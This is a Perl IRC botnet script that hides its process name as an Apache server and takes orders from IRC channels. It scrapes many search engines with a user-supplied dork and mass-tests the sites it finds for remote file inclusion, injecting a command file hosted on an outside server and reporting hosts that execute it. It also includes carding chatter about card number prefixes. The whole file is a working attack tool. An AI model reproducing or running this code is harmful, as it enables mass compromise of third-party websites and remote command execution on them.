#!/usr/bin/perl
#Mic22 Is Here!

use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;

my $processo = "/usr/local/apache/bin/httpd -DSSL";
my $cmd="http://www.pciusacorp.com/_vti_var/echo.txt";
my $server="irc.dal.net";
my $porta="6667";
my $nick="c4rdu52";
my $canale="#malingcyber";
my $backup="#hugos";
my $verbot = "private";
my $pid=fork;
exit if $pid;
$0="$processo"."\0"x16;
my $sk = IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>"$porta",Proto=>"tcp") or die "Can not connect on server!\n";
$sk->autoflush(1);
print $sk "NICK $nick\r\n";
print $sk "USER cardus 8 *  : -=org.il=-\r\n";
print $sk "JOIN $canale\r\n";
print $sk "JOIN $backup\r\n";

while($line = <$sk>){

$line =~ s/\r\n$//;
if ($line=~ /^PING \:(.*)/)
{
print "PONG :$1";
print $sk "PONG :$1";
}

if ($line=~ /PRIVMSG $nick :!back/){
stampa($sk, "JOIN $canale\r\n");
print $sk "JOIN $canalee\r\n";
}

if ($line=~ /PRIVMSG $canalee :!back/){
stampa($sk, "JOIN $canale\r\n");
print $sk "JOIN $canalee\r\n";
}

if ($line=~ /PRIVMSG $canale :!modaro/){
stampa($sk, "QUIT 9[4cardus9] bot by ghareng");
}

if ($line=~ /PRIVMSG $canale :!help/){
stampa($sk, "PRIVMSG $canale :9[4cardus9]1 10!scan <bug> <dork>");
stampa($sk, "PRIVMSG $canale :9[4cardus9]1 10!cc");
stampa($sk, "PRIVMSG $canale :9[4cardus9]1 10Modify by ghareng@seorang.petualang.web.id -=org.il=-");
}

if ($line=~ /PRIVMSG $canale :!cc/){
stampa($sk, "PRIVMSG $canale :cc apa bos ?");
stampa($sk, "PRIVMSG $canale :coba ketik !VS, !MC, !AE, or !DC");
}

if ($line=~ /PRIVMSG $canale :!CC/){
stampa($sk, "PRIVMSG $canale :cc apa bos ?");
stampa($sk, "PRIVMSG $canale :coba ketik !VS, !MC, !AE, or !DC");
}

if ($line=~ /PRIVMSG $canale :!VS/){
stampa($sk, "PRIVMSG $canale :VS singkatan dari Visa");
stampa($sk, "PRIVMSG $canale :Visa memiliki ciri dengan nomor kepala 4");
stampa($sk, "PRIVMSG $canale :untuk mendapatkan visa silahkan anda datang ke Bank bali terdekat :p");
stampa($sk, "PRIVMSG $canale :WebHosting, domain, murah, mudah, berkualitas ya 12balaiweb.com");
}

if ($line=~ /PRIVMSG $canale :!MC/){
stampa($sk, "PRIVMSG $canale :MC singkatan dari master card");
stampa($sk, "PRIVMSG $canale :MC memiliki ciri dengan nomor kepala 5");
stampa($sk, "PRIVMSG $canale :untuk mendapatkan MC silahkan anda datang ke Bank BCA terdekat :p");
stampa($sk, "PRIVMSG $canale :Mau punya web ? murah, mudah, berkualitas ya 12balaiweb.com");
}

if ($line=~ /PRIVMSG $canale :!AE/){
stampa($sk, "PRIVMSG $canale :AE singkatan dari Amex");
stampa($sk, "PRIVMSG $canale :AE memiliki ciri dengan nomor kepala 3");
stampa($sk, "PRIVMSG $canale :untuk mendapatkan AE silahkan anda datang ke bank Danamon terdekat :p");
stampa($sk, "PRIVMSG $canale :Mau bikin blog ? murah, mudah, berkualitas ya 12balaiweb.com");
}

if ($line=~ /PRIVMSG $canale :!DC/){
stampa($sk, "PRIVMSG $canale :DC singkatan dari Decline");
stampa($sk, "PRIVMSG $canale :Wah si bos, bosdho ah.");
stampa($sk, "PRIVMSG $canale :mana bisa di pake klo decline :p");
stampa($sk, "PRIVMSG $canale :murah, mudah, berkualitas ya 12balaiweb.com");
}

if ($line=~ /PRIVMSG $canale :cc/){
stampa($sk, "PRIVMSG $canale :cc apa bos ?");
stampa($sk, "PRIVMSG $canale :coba ketik !VS, !MC, !AE, or !DC");
}

if ($line=~ /PRIVMSG $canale :`cc/){
stampa($sk, "PRIVMSG $canale :cc apa bos ?");
stampa($sk, "PRIVMSG $canale :coba ketik !VS, !MC, !AE, or !DC");
}

if ($line=~ /PRIVMSG $canale :!scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my ($type,$space);
my %hosts;
stampa($sk, "PRIVMSG $canale :15(7@2scan15)(2$dork15)(2$bug15)");
stampa($sk, "PRIVMSG $canale :7Exploiting ..");
my @glist=&google($dork);
my @ylist=&yahoo($dork);
my @mlist=&msn($dork);
my @alist=&altavista($dork);
my @llist=&libero($dork);
my @allist=&alltheweb($dork);
my @asklist=&ask($dork);
my @uollist=&uol($dork);
my @aollist=&aol($dork);
stampa($sk, "PRIVMSG $canale :15(7@2scan15)(4Google5:12".scalar(@glist)." Situs15)(4Libero5:12".scalar(@llist)." Situs15)(4Yahoo5:12".scalar(@ylist)." Situs15)");
stampa($sk, "PRIVMSG $canale :15(7@2scan15)(4Msn5:12".scalar(@mlist)." Situs15)(4Allweb5:12".scalar(@allist)." Situs15)(4Altavista5:12".scalar(@alist)." Situs15)");
stampa($sk, "PRIVMSG $canale :15(7@2scan15)(4Ask5:12".scalar(@asklist)." Situs15)(4Aol5:12".scalar(@aollist)." Situs15)(4Uol5:12".scalar(@uollist)." Situs15)");
push(my @tot, @glist, @ylist, @mlist, @alist, @llist, @allist, @asklist, @uollist, @aollist);
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $canale :15(7@2scan15)(4Total5:12".scalar(@tot)." Situs15)(4Target5:12".scalar(@puliti)." Situs15)");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %30==0){
stampa($sk, "PRIVMSG $canale :15(7@2scan15)(12".$contatore." dari ".$uni. " Situs15)");
}
if ($contatore==$uni-1){
stampa($sk, "PRIVMSG $canale :15(7@2scan15)(5@4Complete15) $dork");
stampa($sk, "PRIVMSG $canale :7finish..");
}
my $test="http://".$sito.$bug.$cmd."?";
my $print="http://".$sito.$bug."(5@4evil15)";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /Mic22/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
stampa($sk, "PRIVMSG $canale :15(7@2Target15)(12OFF15) 12$print");
stampa($sk, "PRIVMSG ghareng :12$print");
}}
elsif($re =~ /Mic22/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
stampa($sk, "PRIVMSG $canale :15(7@2Target15)(12ON15) 12$print");
}}
}}}
exit;
}}}


sub stampa()
{
if ($#_ == '1') {
my $sk = $_[0];
print $sk "$_[1]\n";
} else {
print $sk "$_[0]\n";
}}

sub os(){
my $sito=$_[0];
my $Res=query($sito);
my $type;
my $free;
my $str;
while($Res=~m/<br>OSTYPE:(.+?)\<br>/g){
$type=$1;
}
while($Res=~m/<br>Free:(.+?)\<br>/g){
$free=$1;
}
$str=$type.",".$free;
return $str;
}

sub aol(){
my @lst;
my $key = $_[0];
for($b=1;$b<=100;$b++){
my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8");
my $Res=query($AoL);
while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub google(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.google.com/search?hl=en&q=".key($key)."&num=100&filter=0&start=".$b);
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub yahoo(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=100){
my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
my $Res=query($Ya);
while($Res =~ m/\<em class=yschurl>(.+?)\<\/em>/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub altavista(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
my $Res=query($AlT);
while($Res=~m/<span class=ngrn>(.+?)\//g){
if($1 !~ /altavista/){
my $k=$1;
$k=~s/<//g;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub msn(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $MsN=("http://search.msn.com/results.aspx?q=".key($key)."&first=".$b."&FORM=PERE");
my $Res=query($MsN);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if($1 !~ /msn|scan/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub libero(){
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0,$pg=0; $i<=1000; $i+=10,$pg++)
{
my $Lib=("http://arianna.libero.it/search/abin/integrata.cgi?s=1&pag=".$pg."&start=".$i."&query=".key($key));
my $Res=query($Lib);
while($Res =~ m/<a class=\"testoblu\" href=\"?http:\/\/([^>\"]*)\//g){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub ask(){
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=10)
{
my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
my $Res=query($Ask);
while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){
my $k=$3;
$k=~s/[\"\ ]//g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub alltheweb()
{
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=100)
{
my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
my $Res=query($all);
while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub uol(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $UoL=("http://busca.uol.com.br/www/index.html?q=".key($key)."&start=".$i);
my $Res=query($UoL);
while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){
my $k=$1;
if($k!~/busca|uol|yahoo/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub links()
{
my @l;
my $link=$_[0];
my $host=$_[0];
my $hdir=$_[0];
$hdir=~s/(.*)\/[^\/]*$/\1/;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host.="/";
$link.="/";
$hdir.="/";
$host=~s/\/\//\//g;
$hdir=~s/\/\//\//g;
$link=~s/\/\//\//g;
push(@l,$link,$host,$hdir);
return @l;
}

sub geths(){
my $host=$_[0];
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
return $host;
}

sub key(){
my $chiave=$_[0];
$chiave =~ s/ /\+/g;
$chiave =~ s/:/\%3A/g;
$chiave =~ s/\//\%2F/g;
$chiave =~ s/&/\%26/g;
$chiave =~ s/\"/\%22/g;
$chiave =~ s/,/\%2C/g;
$chiave =~ s/\\/\%5C/g;
return $chiave;
}

sub query($){
my $url=$_[0];
$url=~s/http:\/\///;
my $host=$url;
my $query=$url;
my $page="";
$host=~s/href=\"?http:\/\///;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query=~s/$host//;
if ($query eq "") {$query="/";};
eval {
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
close($sock);
};
return $page;
}

sub unici{
my @unici = ();
my %visti = ();
foreach my $elemento ( @_ )
{
next if $visti{ $elemento }++;
push @unici, $elemento;
}
return @unici;
}